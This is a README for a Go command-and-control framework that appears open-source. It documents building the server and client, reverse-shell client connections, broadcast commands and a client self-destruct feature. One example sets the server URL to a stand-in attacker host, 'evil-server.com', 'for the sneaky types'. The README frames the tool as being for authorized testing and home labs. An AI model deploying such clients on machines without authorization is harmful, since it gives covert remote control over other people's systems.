"Because sometimes you need to control things from a distance... and look cool doing it."
MarmotMaster is a Command & Control (C2) framework written in Go. Think of it as your personal remote terminal empire, but with a fancy web UI that makes you feel like you're in a hacker movie from the 90s.
Translation for normies: It lets you remotely control multiple machines through a web interface. Each client connects back to your server, and you can execute commands, manage terminals, and do other fun stuff. All with a modern web UI that doesn't look like it was designed in 1995.
- ๐ฅ๏ธ Real Terminal Emulation - Full PTY support, so you can run
btop,vim,htop, and other TUI apps. No more "No tty detected" errors! - ๐ Web-Based Control Panel - Beautiful UI built with Tailwind CSS. No need to SSH into your C2 server like a caveman.
- ๐ TLS/WSS Encryption - Self-signed certs (because who has time for Let's Encrypt when you're being edgy?)
- ๐ Self-Destruct Mode - Clients can delete themselves. Perfect for when things get hot.
- ๐ก Broadcast Commands - Send the same command to all clients at once. Mass orchestration, baby!
- ๐ Auto-Reconnect - Clients automatically reconnect if the connection drops. Set it and forget it.
- ๐ Session-Based Authentication - Secure session tokens with 24-hour expiration. No passwords in URLs!
- โ๏ธ Request Signing - All commands are signed with HMAC-SHA256. Clients verify signatures before executing.
- Go 1.21 or higher (because we're not living in the past)
- A terminal that doesn't suck
- Basic knowledge of how computers work (optional but recommended)
# Clone this repo (or download it, we don't judge)
git clone https://github.com/atdma/marmotmaster
cd marmotmaster
# Get dependencies
go mod download
# Build everything
make build
# Or build individually if you're picky
make build-server
make build-client# Default (listens on 0.0.0.0:8443)
make run-server
# Or with custom host/port
cd bin
./marmotmaster-server -host 192.168.1.100 -port 8443
# With UI password protection (bcrypt hash)
./marmotmaster-server -host 192.168.1.100 -port 8443 -hash '$2a$10$...'Note: The -hash flag accepts a bcrypt hash for web UI authentication. Clients can still connect without authentication. Generate bcrypt hashes using online tools or other utilities.
The server will:
- Generate self-signed certificates automatically (first run only)
- Start an HTTPS server on port 8443 (or whatever you specify)
- Serve a web UI at
https://localhost:8443(or your IP) - Accept authentication requests at
/api/auth(POST) - Accept client connections on
/ws/client - Accept UI connections on
/ws/ui(requires session token)
# Basic usage
./bin/marmotmaster-client -host 192.168.1.100 -port 8443
# With custom client ID
./bin/marmotmaster-client -host example.com -port 443 -id "my-special-client"
# Using environment variables (for the sneaky types)
export MARMOTMASTER_SERVER_URL="wss://evil-server.com:8443"
export MARMOTMASTER_CLIENT_ID="sneaky-beast"
./bin/marmotmaster-clientThe client will:
- Connect to your server via WebSocket (WSS for HTTPS, WS for HTTP)
- Spawn an interactive shell (bash on Unix, cmd.exe on Windows)
- Forward all terminal I/O through the WebSocket
- Automatically reconnect if the connection drops
- Restart the shell if it exits (because
exitshouldn't break things)
- Open your browser and navigate to
https://your-server-ip:8443 - Accept the security warning
- If password protection is enabled, enter the password in the login modal
- The UI will authenticate via POST to
/api/authand receive a session token - The token is used for the WebSocket connection (no password in URLs!)
- The UI will authenticate via POST to
- Select a client from the sidebar
- Start typing commands like you own the place
- All commands are automatically signed with HMAC before being sent to clients
Server:
-host- Host address to bind to (default:0.0.0.0- all interfaces)-port- Port to listen on (default:8443)-hash- Bcrypt hash for web UI password protection (default: no password required)
Client:
-host- Server hostname or IP (default:localhost)-port- Server port (default:8443if not specified, uses WSS for 443/8443, WS for other ports)-id- Custom client ID (default: auto-generated likeclient-hostname-timestamp)
Client:
MARMOTMASTER_SERVER_URL- Full WebSocket URL (e.g.,wss://192.168.1.100:8443)MARMOTMASTER_CLIENT_ID- Client identifier
Want to make a client disappear? Click the self-destruct button in the UI. The client will:
- Delete its own binary
- Kill its own process
- Vanish into the digital void
Warning: This is permanent. The client is gone. No take-backs. Use responsibly (or don't, we're not your mom).
Need to run the same command on all clients? Click the lightning bolt icon and type your command. It'll execute on every connected client simultaneously. Perfect for:
- Mass updates
- Synchronized operations
- Chaos (if that's your thing)
- Full TUI Support - Run
vim,htop,btop,ncursesapps, etc. - Resize Handling - Terminal automatically resizes when you resize the browser window
- Binary Data Support - All control sequences preserved for proper terminal emulation
- Auto-Restart - If a shell exits, it automatically restarts (no manual intervention needed)
# Build server
make build-server
# Build client
make build-client
# Build both
make build
# Clean build artifacts
make clean
# Download dependencies
make depsThe binaries will be in the bin/ directory:
bin/marmotmaster-server- The C2 serverbin/marmotmaster-client- The client agentbin/static/- Web UI files (copied automatically)
.
โโโ client/ # Client code (the thing that runs on target machines)
โ โโโ client/ # Client package (WebSocket, PTY management)
โ โ โโโ client.go # Client struct and connection handling
โ โ โโโ message.go # Message struct definition
โ โ โโโ pty.go # PTY management and shell operations
โ โโโ config/ # Configuration parsing
โ โโโ main.go # Client entry point
โโโ server/ # Server code (your command center)
โ โโโ server/ # Server package (WebSocket handlers, message routing)
โ โ โโโ client.go # Client and UIConnection types
โ โ โโโ handlers.go # Message handler implementations
โ โ โโโ message.go # Message types and validation
โ โ โโโ server.go # Server struct and event loop
โ โ โโโ websocket.go # WebSocket connection handlers
โ โโโ cert/ # Certificate generation
โ โโโ static/ # Web UI files (index.html and static.go)
โ โโโ main.go # Server entry point
โโโ bin/ # Build output (gitignored)
โโโ Makefile # Build automation
โโโ go.mod # Go module definition
-
Session Token Authentication - The web UI uses secure session tokens instead of passwords in URLs. Tokens are:
- Generated using cryptographically secure random bytes
- Valid for 24 hours before expiration
- Automatically cleaned up when expired
- Never transmitted in URLs (only in WebSocket query params or headers)
-
UI Password Protection - The web UI can be password protected using bcrypt hashing via the
-hashflag. Authentication flow:- User submits password via POST to
/api/auth - Server validates password against bcrypt hash
- Server returns session token and signing key
- UI uses token for WebSocket connection (no password in URLs!)
- User submits password via POST to
-
Client Authentication - Client connections (
/ws/client) do not require authentication and can connect freely. Only the web UI (/ws/ui) can be password protected.
-
HMAC-SHA256 Request Signing - All commands sent to clients are signed with HMAC-SHA256:
- Server generates a random 32-byte signing key on startup
- Signing key is sent to clients upon connection
- Each command includes a signature based on: message type, client ID, data, and timestamp
- Signatures prevent command tampering and replay attacks
-
Client-Side Verification - Clients verify all incoming commands:
- Clients receive and store the signing key from the server
- Every command message is verified before execution
- Invalid or missing signatures are rejected
- Uses constant-time comparison to prevent timing attacks
- No rate limiting - If someone wants to spam your server, they can. Add rate limiting if you care.
- No encryption at rest - We don't store anything, so this isn't really an issue, but we're mentioning it anyway.
- Self-signed certificates - By default, the server uses self-signed certificates. Browsers will show security warnings, but this is expected behavior.
TL;DR: This is a tool. Use it responsibly. We're not responsible if you do something stupid with it.
- Self-signed certs trigger browser warnings (by design)
- No built-in persistence (clients need to reconnect after server restart)
- No command history in the web UI (yet)
- Windows support exists but is less tested than Unix
- No built-in file transfer (yet - use
base64encoding if you're desperate) - Session tokens are stored in memory (lost on server restart)
- Signing keys are regenerated on each server restart (clients need to reconnect)
Want to contribute? Cool. Just:
- Don't break existing functionality
- Write code that doesn't make us cry
- Test your changes
- Submit a PR
Or don't. We're not forcing you.
Do whatever you want with this. We're not lawyers. Just don't blame us if something goes wrong.
Built with:
- Go - Because it's fast and we like it
- Gorilla WebSocket - For WebSocket magic
- creack/pty - For PTY support
- xterm.js - For terminal emulation in the browser
- Tailwind CSS - For making things look good
This tool is for educational purposes and authorized testing only. Don't be that person who uses it for malicious purposes. We're not responsible for what you do with it.
Now go forth and control your digital empire. Or just use it to manage your home lab. We don't judge.
Happy hacking! ๐ฆซ
"In the end, we're all just packets on a wire." - Some hacker, probably
